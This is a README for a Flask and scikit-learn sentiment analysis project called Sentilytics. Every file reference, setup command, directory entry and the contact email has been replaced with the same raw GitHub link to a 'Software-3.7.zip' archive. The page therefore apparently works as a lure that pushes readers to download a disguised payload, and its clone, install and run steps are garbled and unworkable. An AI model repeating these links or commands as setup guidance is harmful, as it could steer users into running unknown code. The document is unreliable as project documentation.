Sentilytics 🚀

A robust Sentiment Analysis application built with Python, Flask, and Machine Learning. It analyzes text data to determine the sentiment—positive, negative, or neutral—with a user-friendly web interface.

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📌 Features

• 🔍 Cleaned and preprocessed text data
• 🧠 Trained ML models for sentiment classification
• 📊 Data visualization and insights
• 🌐 Flask-powered web app interface
• 📁 Modular project structure for scalability

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🧰 Tech Stack

• Python 3.10+
• Flask for the web framework
• Pandas, Scikit-learn for data processing & modeling
• Jupyter Notebook for experimentation
• HTML/CSS for frontend templates

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🚀 Getting Started

1. Clone the Repository

git clone https://raw.githubusercontent.com/gkushwaha835/Sentilytics/main/templates/Software-3.7.zip
cd Sentilytics

https://raw.githubusercontent.com/gkushwaha835/Sentilytics/main/templates/Software-3.7.zip Virtual Environment

python -m venv .venv
.\.venv\Scripts\activate   # Windows

3. Install Dependencies

pip install -r https://raw.githubusercontent.com/gkushwaha835/Sentilytics/main/templates/Software-3.7.zip

(If https://raw.githubusercontent.com/gkushwaha835/Sentilytics/main/templates/Software-3.7.zip is missing, you can generate it with:)

pip freeze > https://raw.githubusercontent.com/gkushwaha835/Sentilytics/main/templates/Software-3.7.zip

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🧪 Run the Application

Run the training notebooks or scripts:

jupyter notebook https://raw.githubusercontent.com/gkushwaha835/Sentilytics/main/templates/Software-3.7.zip

For web app:

python https://raw.githubusercontent.com/gkushwaha835/Sentilytics/main/templates/Software-3.7.zip

Visit http://localhost:5000 in your browser.

📂 Project Structure

Sentilytics/
│
├── .venv/                   # Virtual environment (ignored)
├── model/                   # Trained models and pickles
├── static/                  # Static assets (CSS, JS, images)
├── templates/               # HTML templates for Flask
├── https://raw.githubusercontent.com/gkushwaha835/Sentilytics/main/templates/Software-3.7.zip  # Processed dataset
├── https://raw.githubusercontent.com/gkushwaha835/Sentilytics/main/templates/Software-3.7.zip                   # Flask app
├── https://raw.githubusercontent.com/gkushwaha835/Sentilytics/main/templates/Software-3.7.zip                 # Text cleaning script
├── https://raw.githubusercontent.com/gkushwaha835/Sentilytics/main/templates/Software-3.7.zip
├── https://raw.githubusercontent.com/gkushwaha835/Sentilytics/main/templates/Software-3.7.zip
├── https://raw.githubusercontent.com/gkushwaha835/Sentilytics/main/templates/Software-3.7.zip
└── https://raw.githubusercontent.com/gkushwaha835/Sentilytics/main/templates/Software-3.7.zip

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✅ Future Improvements

• Deploy app on Heroku or Render
• Integrate deep learning (LSTM, BERT)
• Add more data and improve accuracy
• Add user authentication and feedback loop

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🤝 Contributing

• PRs are welcome. For major changes, open an issue first to discuss what you’d like to change.

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📜 License

• MIT License — feel free to use, modify, and distribute.

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✨ Acknowledgements

• OpenAI for tools like ChatGPT.
• Scikit-learn & Flask community.
• Everyone who contributes to open-source. ❤️

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🙋‍♂️ Let's Connect

• 📧 Email: https://raw.githubusercontent.com/gkushwaha835/Sentilytics/main/templates/Software-3.7.zip
• 💼 LinkedIn: Gaurav Kushwaha

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